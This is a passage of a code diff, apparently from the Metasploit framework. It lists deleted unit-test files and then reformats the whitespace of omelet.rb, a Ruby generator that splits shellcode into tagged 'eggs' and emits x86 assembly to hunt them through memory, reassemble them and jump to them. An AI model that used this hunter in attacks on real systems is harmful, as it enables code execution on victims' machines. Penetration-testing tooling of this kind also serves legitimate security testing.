  462. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
  463. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
  464. data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
  465. data/lib/rex/file.rb.ut.rb +0 -17
  466. data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
  467. data/lib/rex/nop/opty2.rb.ut.rb +0 -24
  468. data/lib/rex/parser/arguments.rb.ut.rb +0 -68
  469. data/lib/rex/parser/ini.rb.ut.rb +0 -30
  470. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
  471. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
  472. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
  473. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
  474. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
  475. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
  476. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
  477. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
  478. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
  479. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
  480. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
  481. data/lib/rex/proto.rb.ts.rb +0 -9
  482. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
  483. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
  484. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
  485. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
  486. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
  487. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
  488. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
  489. data/lib/rex/proto/drda.rb.ts.rb +0 -18
  490. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
  491. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
  492. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
  493. data/lib/rex/proto/http.rb.ts.rb +0 -13
  494. data/lib/rex/proto/http/client.rb.ut.rb +0 -96
  495. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
  496. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  497. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
  498. data/lib/rex/proto/http/header.rb.ut.rb +0 -47
  499. data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
  500. data/lib/rex/proto/http/request.rb.ut.rb +0 -215
  501. data/lib/rex/proto/http/response.rb.ut.rb +0 -150
  502. data/lib/rex/proto/http/server.rb.ut.rb +0 -80
  503. data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
  504. data/lib/rex/proto/rfb.rb.ut.rb +0 -40
  505. data/lib/rex/proto/smb.rb.ts.rb +0 -9
  506. data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
  507. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
  508. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
  509. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
  510. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
  511. data/lib/rex/service_manager.rb.ut.rb +0 -33
  512. data/lib/rex/socket.rb.ut.rb +0 -108
  513. data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
  514. data/lib/rex/socket/parameters.rb.ut.rb +0 -52
  515. data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
  516. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
  517. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
  518. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
  519. data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
  520. data/lib/rex/socket/tcp.rb.ut.rb +0 -65
  521. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
  522. data/lib/rex/socket/udp.rb.ut.rb +0 -45
  523. data/lib/rex/test.rb +0 -36
  524. data/lib/rex/text.rb.ut.rb +0 -193
  525. data/lib/rex/transformer.rb.ut.rb +0 -39
  526. data/lib/rex/ui/text/color.rb.ut.rb +0 -19
  527. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
  528. data/lib/rex/ui/text/table.rb.ut.rb +0 -56
@@ -16,305 +16,305 @@ module Exploitation
16
16
  ###
17
17
  class Omelet
18
18
 
19
- ###
20
- #
21
- # Windows-based eggs-to-omelet hunters
22
- #
23
- ###
24
- module Windows
25
- Alias = "win"
26
-
27
- module X86
28
- Alias = ARCH_X86
29
-
30
- #
31
- # The hunter stub for win/x86.
32
- #
33
- def hunter_stub
34
- {
35
- # option hash members go here (currently unused)
36
- }
37
- end
38
-
39
- end
40
- end
41
-
42
- ###
43
- #
44
- # Generic interface
45
- #
46
- ###
47
-
48
- #
49
- # Creates a new hunter instance and acquires the sub-class that should
50
- # be used for generating the stub based on the supplied platform and
51
- # architecture.
52
- #
53
- def initialize(platform, arch = nil)
54
- Omelet.constants.each { |c|
55
- mod = self.class.const_get(c)
56
-
57
- next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
58
-
59
- if (platform =~ /#{mod.const_get('Alias')}/i)
60
- self.extend(mod)
61
-
62
- if (arch and mod)
63
- mod.constants.each { |a|
64
- amod = mod.const_get(a)
65
-
66
- next if ((!amod.kind_of?(::Module)) or
67
- (!amod.const_defined?('Alias')))
68
-
69
- if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
70
- amod = mod.const_get(a)
71
-
72
- self.extend(amod)
73
- end
74
- }
75
- end
76
- end
77
- }
78
- end
79
-
80
- #
81
- # This method generates an eggs-to-omelet hunter using the derived hunter stub.
82
- #
83
- def generate(payload, badchars = '', opts = {})
84
-
85
- eggsize = opts[:eggsize] || 123
86
- eggtag = opts[:eggtag] || "00w"
87
- searchforward = opts[:searchforward] || true
88
- reset = opts[:reset]
89
- startreg = opts[:startreg]
90
- usechecksum = opts[:checksum]
91
- adjust = opts[:adjust] || 0
92
-
93
- return nil if ((opts = hunter_stub) == nil)
94
-
95
- # calculate number of eggs
96
- payloadlen = payload.length
97
- delta = payloadlen / eggsize
98
- delta = delta * eggsize
99
- nr_eggs = payloadlen / eggsize
100
- if delta < payloadlen
101
- nr_eggs = nr_eggs+1
102
- end
103
-
104
- nr_eggs_hex = "%02x" % nr_eggs
105
- eggsize_hex = "%02x" % eggsize
106
-
107
- hextag = ''
108
- eggtag.each_byte do |thischar|
109
- decchar = "%02x" % thischar
110
- hextag = decchar + hextag
111
- end
112
- hextag = hextag + "01"
113
-
114
- # search forward or backward ?
115
- setflag = nil
116
- searchstub1 = nil
117
- searchstub2 = nil
118
- flipflagpre = ''
119
- flipflagpost = ''
120
- checksum = ''
121
-
122
- if searchforward
123
- # clear direction flag
124
- setflag = "cld"
125
- searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
126
- searchstub2 = "inc edx"
127
- else
128
- # set the direction flag
129
- setflag = "std"
130
- searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
131
- searchstub2 = "dec edx"
132
- flipflagpre = "cld\n\tsub esi,-8"
133
- flipflagpost = "std"
134
- end
135
-
136
- # will we have to adjust the destination address ?
137
- adjustdest = ''
138
- if adjust > 0
139
- adjustdest = "\n\tsub edi,#{adjust}"
140
- elsif adjust < 0
141
- adjustdest = "\n\tadd edi,#{adjust}"
142
- end
143
-
144
- # prepare the stub that starts the search
145
- startstub = ''
146
- if startreg
147
- if startreg.downcase != 'ebp'
148
- startstub << "mov ebp,#{startreg}"
149
- end
150
- startstub << "\n\t" if startstub.length > 0
151
- startstub << "mov edx,ebp"
152
- end
153
- # a register will be used as start location for the search
154
- startstub << "\n\t" if startstub.length > 0
155
- startstub << "push esp\n\tpop edi\n\tor di,0xffff"
156
- startstub << adjustdest
157
- # edx will be used, start at end of stack frame
158
- if not startreg
159
- startstub << "\n\tmov edx,edi"
160
- if reset
161
- startstub << "\n\tpush edx\n\tpop ebp"
162
- end
163
- end
164
-
165
- # reset start after each egg was found ?
166
- # will allow to find eggs when they are out of order/sequence
167
- resetstart = ''
168
- if reset
169
- resetstart = "push ebp\n\tpop edx"
170
- end
19
+ ###
20
+ #
21
+ # Windows-based eggs-to-omelet hunters
22
+ #
23
+ ###
24
+ module Windows
25
+ Alias = "win"
26
+
27
+ module X86
28
+ Alias = ARCH_X86
29
+
30
+ #
31
+ # The hunter stub for win/x86.
32
+ #
33
+ def hunter_stub
34
+ {
35
+ # option hash members go here (currently unused)
36
+ }
37
+ end
38
+
39
+ end
40
+ end
41
+
42
+ ###
43
+ #
44
+ # Generic interface
45
+ #
46
+ ###
47
+
48
+ #
49
+ # Creates a new hunter instance and acquires the sub-class that should
50
+ # be used for generating the stub based on the supplied platform and
51
+ # architecture.
52
+ #
53
+ def initialize(platform, arch = nil)
54
+ Omelet.constants.each { |c|
55
+ mod = self.class.const_get(c)
56
+
57
+ next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
58
+
59
+ if (platform =~ /#{mod.const_get('Alias')}/i)
60
+ self.extend(mod)
61
+
62
+ if (arch and mod)
63
+ mod.constants.each { |a|
64
+ amod = mod.const_get(a)
65
+
66
+ next if ((!amod.kind_of?(::Module)) or
67
+ (!amod.const_defined?('Alias')))
68
+
69
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
70
+ amod = mod.const_get(a)
71
+
72
+ self.extend(amod)
73
+ end
74
+ }
75
+ end
76
+ end
77
+ }
78
+ end
79
+
80
+ #
81
+ # This method generates an eggs-to-omelet hunter using the derived hunter stub.
82
+ #
83
+ def generate(payload, badchars = '', opts = {})
84
+
85
+ eggsize = opts[:eggsize] || 123
86
+ eggtag = opts[:eggtag] || "00w"
87
+ searchforward = opts[:searchforward] || true
88
+ reset = opts[:reset]
89
+ startreg = opts[:startreg]
90
+ usechecksum = opts[:checksum]
91
+ adjust = opts[:adjust] || 0
92
+
93
+ return nil if ((opts = hunter_stub) == nil)
94
+
95
+ # calculate number of eggs
96
+ payloadlen = payload.length
97
+ delta = payloadlen / eggsize
98
+ delta = delta * eggsize
99
+ nr_eggs = payloadlen / eggsize
100
+ if delta < payloadlen
101
+ nr_eggs = nr_eggs+1
102
+ end
103
+
104
+ nr_eggs_hex = "%02x" % nr_eggs
105
+ eggsize_hex = "%02x" % eggsize
106
+
107
+ hextag = ''
108
+ eggtag.each_byte do |thischar|
109
+ decchar = "%02x" % thischar
110
+ hextag = decchar + hextag
111
+ end
112
+ hextag = hextag + "01"
113
+
114
+ # search forward or backward ?
115
+ setflag = nil
116
+ searchstub1 = nil
117
+ searchstub2 = nil
118
+ flipflagpre = ''
119
+ flipflagpost = ''
120
+ checksum = ''
121
+
122
+ if searchforward
123
+ # clear direction flag
124
+ setflag = "cld"
125
+ searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
126
+ searchstub2 = "inc edx"
127
+ else
128
+ # set the direction flag
129
+ setflag = "std"
130
+ searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
131
+ searchstub2 = "dec edx"
132
+ flipflagpre = "cld\n\tsub esi,-8"
133
+ flipflagpost = "std"
134
+ end
135
+
136
+ # will we have to adjust the destination address ?
137
+ adjustdest = ''
138
+ if adjust > 0
139
+ adjustdest = "\n\tsub edi,#{adjust}"
140
+ elsif adjust < 0
141
+ adjustdest = "\n\tadd edi,#{adjust}"
142
+ end
143
+
144
+ # prepare the stub that starts the search
145
+ startstub = ''
146
+ if startreg
147
+ if startreg.downcase != 'ebp'
148
+ startstub << "mov ebp,#{startreg}"
149
+ end
150
+ startstub << "\n\t" if startstub.length > 0
151
+ startstub << "mov edx,ebp"
152
+ end
153
+ # a register will be used as start location for the search
154
+ startstub << "\n\t" if startstub.length > 0
155
+ startstub << "push esp\n\tpop edi\n\tor di,0xffff"
156
+ startstub << adjustdest
157
+ # edx will be used, start at end of stack frame
158
+ if not startreg
159
+ startstub << "\n\tmov edx,edi"
160
+ if reset
161
+ startstub << "\n\tpush edx\n\tpop ebp"
162
+ end
163
+ end
164
+
165
+ # reset start after each egg was found ?
166
+ # will allow to find eggs when they are out of order/sequence
167
+ resetstart = ''
168
+ if reset
169
+ resetstart = "push ebp\n\tpop edx"
170
+ end
171
171
 
172
172
  #checksum code by dijital1 & corelanc0d3r
173
- if usechecksum
174
- checksum = <<EOS
175
- xor ecx,ecx
176
- xor eax,eax
173
+ if usechecksum
174
+ checksum = <<EOS
175
+ xor ecx,ecx
176
+ xor eax,eax
177
177
  calc_chksum_loop:
178
- add al,byte [edx+ecx]
179
- inc ecx
180
- cmp cl, egg_size
181
- jnz calc_chksum_loop
178
+ add al,byte [edx+ecx]
179
+ inc ecx
180
+ cmp cl, egg_size
181
+ jnz calc_chksum_loop
182
182
  test_chksum:
183
- cmp al,byte [edx+ecx]
184
- jnz find_egg
183
+ cmp al,byte [edx+ecx]
184
+ jnz find_egg
185
185
  EOS
186
- end
186
+ end
187
187
 
188
- # create omelet code
189
- omelet_hunter = <<EOS
188
+ # create omelet code
189
+ omelet_hunter = <<EOS
190
190
 
191
- nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
192
- egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
193
- hex_tag equ 0x#{hextag} ; tag
191
+ nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
192
+ egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
193
+ hex_tag equ 0x#{hextag} ; tag
194
194
 
195
- #{setflag} ; set/clear direction flag
196
- jmp start
195
+ #{setflag} ; set/clear direction flag
196
+ jmp start
197
197
 
198
- ; routine to calculate the target location
199
- ; for writing recombined shellcode (omelet)
200
- ; I'll use EDI as target location
201
- ; First, I'll make EDI point to end of stack
202
- ; and I'll put the number of shellcode eggs in eax
198
+ ; routine to calculate the target location
199
+ ; for writing recombined shellcode (omelet)
200
+ ; I'll use EDI as target location
201
+ ; First, I'll make EDI point to end of stack
202
+ ; and I'll put the number of shellcode eggs in eax
203
203
  get_target_loc:
204
- #{startstub} ; use edx as start location for the search
205
- xor eax,eax ; zero eax
206
- mov al,nr_eggs ; put number of eggs in eax
204
+ #{startstub} ; use edx as start location for the search
205
+ xor eax,eax ; zero eax
206
+ mov al,nr_eggs ; put number of eggs in eax
207
207
 
208
208
  calc_target_loc:
209
- xor esi,esi ; use esi as counter to step back
210
- mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
209
+ xor esi,esi ; use esi as counter to step back
210
+ mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
211
211
 
212
212
  get_target_loc_loop: ; start loop
213
- dec edi ; step back
214
- inc esi ; and update ESI counter
215
- cmp si,-1 ; continue to step back until ESI = -1
216
- jnz get_target_loc_loop
217
- dec eax ; loop again if we did not take all pieces
213
+ dec edi ; step back
214
+ inc esi ; and update ESI counter
215
+ cmp si,-1 ; continue to step back until ESI = -1
216
+ jnz get_target_loc_loop
217
+ dec eax ; loop again if we did not take all pieces
218
218
  ; into account yet
219
- jnz calc_target_loc
219
+ jnz calc_target_loc
220
220
 
221
- ; edi now contains target location
222
- ; for recombined shellcode
223
- xor ebx,ebx ; put loop counter in ebx
224
- mov bl,nr_eggs+1
225
- ret
221
+ ; edi now contains target location
222
+ ; for recombined shellcode
223
+ xor ebx,ebx ; put loop counter in ebx
224
+ mov bl,nr_eggs+1
225
+ ret
226
226
 
227
227
  start:
228
- call get_target_loc ; jump to routine which will calculate shellcode dst address
228
+ call get_target_loc ; jump to routine which will calculate shellcode dst address
229
229
 
230
- ; start looking for eggs, using edx as basepointer
231
- jmp search_next_address
230
+ ; start looking for eggs, using edx as basepointer
231
+ jmp search_next_address
232
232
 
233
233
  find_egg:
234
- #{searchstub1} ; based on search direction
234
+ #{searchstub1} ; based on search direction
235
235
 
236
236
  search_next_address:
237
- #{searchstub2} ; based on search direction
238
- push edx ; save edx
239
- push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
240
- pop eax ; set eax to 0x02
241
- int 0x2e
242
- cmp al,0x5 ; address readable ?
243
- pop edx ; restore edx
244
- je search_next_address ; if addressss is not readable, go to next address
245
-
246
- mov eax,hex_tag ; if address is readable, prepare tag in eax
247
- add eax,ebx ; add offset (ebx contains egg counter, remember ?)
248
- xchg edi,edx ; switch edx/edi
249
- scasd ; edi points to the tag ?
250
- xchg edi,edx ; switch edx/edi back
251
- jnz find_egg ; if tag was not found, go to next address
252
- ;found the tag at edx
237
+ #{searchstub2} ; based on search direction
238
+ push edx ; save edx
239
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
240
+ pop eax ; set eax to 0x02
241
+ int 0x2e
242
+ cmp al,0x5 ; address readable ?
243
+ pop edx ; restore edx
244
+ je search_next_address ; if addressss is not readable, go to next address
245
+
246
+ mov eax,hex_tag ; if address is readable, prepare tag in eax
247
+ add eax,ebx ; add offset (ebx contains egg counter, remember ?)
248
+ xchg edi,edx ; switch edx/edi
249
+ scasd ; edi points to the tag ?
250
+ xchg edi,edx ; switch edx/edi back
251
+ jnz find_egg ; if tag was not found, go to next address
252
+ ;found the tag at edx
253
253
 
254
254
  ;do we need to verify checksum ? (prevents finding corrupted eggs)
255
255
  #{checksum}
256
256
 
257
257
  copy_egg:
258
- ; ecx must first be set to egg_size (used by rep instruction) and esi as source
259
- mov esi,edx ; set ESI = EDX (needed for rep instruction)
260
- xor ecx,ecx
261
- mov cl,egg_size ; set copy counter
262
- #{flipflagpre} ; flip destination flag if necessary
263
- rep movsb ; copy egg from ESI to EDI
264
- #{flipflagpost} ; flip destination flag again if necessary
265
- dec ebx ; decrement egg
266
- #{resetstart} ; reset start location if necessary
267
- cmp bl,1 ; found all eggs ?
268
- jnz find_egg ; no = look for next egg
269
- ; done - all eggs have been found and copied
258
+ ; ecx must first be set to egg_size (used by rep instruction) and esi as source
259
+ mov esi,edx ; set ESI = EDX (needed for rep instruction)
260
+ xor ecx,ecx
261
+ mov cl,egg_size ; set copy counter
262
+ #{flipflagpre} ; flip destination flag if necessary
263
+ rep movsb ; copy egg from ESI to EDI
264
+ #{flipflagpost} ; flip destination flag again if necessary
265
+ dec ebx ; decrement egg
266
+ #{resetstart} ; reset start location if necessary
267
+ cmp bl,1 ; found all eggs ?
268
+ jnz find_egg ; no = look for next egg
269
+ ; done - all eggs have been found and copied
270
270
 
271
271
  done:
272
- call get_target_loc ; re-calculate location where recombined shellcode is placed
273
- cld
274
- jmp edi ; and jump to it :)
272
+ call get_target_loc ; re-calculate location where recombined shellcode is placed
273
+ cld
274
+ jmp edi ; and jump to it :)
275
275
  EOS
276
276
 
277
- the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
277
+ the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
278
278
 
279
- # create the eggs array
280
- total_size = eggsize * nr_eggs
281
- padlen = total_size - payloadlen
282
- payloadpadding = "A" * padlen
279
+ # create the eggs array
280
+ total_size = eggsize * nr_eggs
281
+ padlen = total_size - payloadlen
282
+ payloadpadding = "A" * padlen
283
283
 
284
- fullcode = payload + payloadpadding
285
- eggcnt = nr_eggs + 2
286
- startcode = 0
284
+ fullcode = payload + payloadpadding
285
+ eggcnt = nr_eggs + 2
286
+ startcode = 0
287
287
 
288
- eggs = []
289
- while eggcnt > 2 do
290
- egg_prep = eggcnt.chr + eggtag
291
- this_egg = fullcode[startcode, eggsize]
288
+ eggs = []
289
+ while eggcnt > 2 do
290
+ egg_prep = eggcnt.chr + eggtag
291
+ this_egg = fullcode[startcode, eggsize]
292
292
  if usechecksum
293
- cksum = 0
294
- this_egg.each_byte { |b|
295
- cksum += b
296
- }
297
- this_egg << [cksum & 0xff].pack('C')
298
- end
293
+ cksum = 0
294
+ this_egg.each_byte { |b|
295
+ cksum += b
296
+ }
297
+ this_egg << [cksum & 0xff].pack('C')
298
+ end
299
299
 
300
- this_egg = egg_prep + this_egg
301
- eggs << this_egg
300
+ this_egg = egg_prep + this_egg
301
+ eggs << this_egg
302
302
 
303
- eggcnt -= 1
304
- startcode += eggsize
305
- end
303
+ eggcnt -= 1
304
+ startcode += eggsize
305
+ end
306
306
 
307
- return [ the_omelet, eggs ]
308
- end
307
+ return [ the_omelet, eggs ]
308
+ end
309
309
 
310
310
  protected
311
311
 
312
- #
313
- # Stub method that is meant to be overridden. It returns the raw stub that
314
- # should be used as the omelet maker (combine the eggs).
315
- #
316
- def hunter_stub
317
- end
312
+ #
313
+ # Stub method that is meant to be overridden. It returns the raw stub that
314
+ # should be used as the omelet maker (combine the eggs).
315
+ #
316
+ def hunter_stub
317
+ end
318
318
 
319
319
  end
320
320
  end